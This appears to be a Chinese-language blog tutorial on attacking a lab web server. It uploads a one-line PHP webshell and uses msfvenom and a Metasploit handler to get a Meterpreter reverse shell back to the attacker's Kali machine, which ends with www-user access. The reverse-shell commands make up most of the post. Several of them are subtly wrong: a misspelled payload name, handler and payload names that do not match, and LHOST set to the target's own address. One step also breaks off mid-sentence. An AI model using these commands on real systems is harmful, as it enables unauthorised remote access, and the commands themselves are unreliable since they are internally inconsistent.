本文介绍了在kali Linux环境下，针对192.168.123.5服务器上的80端口进行渗透测试的过程。通过使用Meterpreter payload，设置回连到kali的IP地址，生成并上传一句话木马，成功反弹了shell。在获得www权限后，文章预告了后续的提权技巧，但具体的提权方法将在下期分享。
运行环境：
kali ip：192.168.123.90
Linux ip：192.168.123.5
Linux服务器上开有80端口，并且有上传
话不多说，上传一句话，菜刀连接。
然后打开kali 并启动msf
进入 > use exploit/multi/handler
设置 payload> set payload php/metrpreter/reverse_tcp
设置IP > set lhost 192.168.123.90
查看一下参数>show options
没啥问题开始监听>run
再在终端上生产msf
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.123.5 LPORT=4444 -f raw > msf.php
然后将产生的
我们再看msf发现已经有会话反弹过来了，我们接下来看一下
然后我们查看并进入会话查看信息
进入shell
上面已经进入shell 并且执行的ls命令，下面让我们看下权限
是www权限，然后接下来开始提权，皮一下，提权手法见下一期分享。
本人也是小菜，望大佬勿喷。
有错的地方及时联系本人，本人会及时修改，谢谢大家关看，及时交流。
755
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
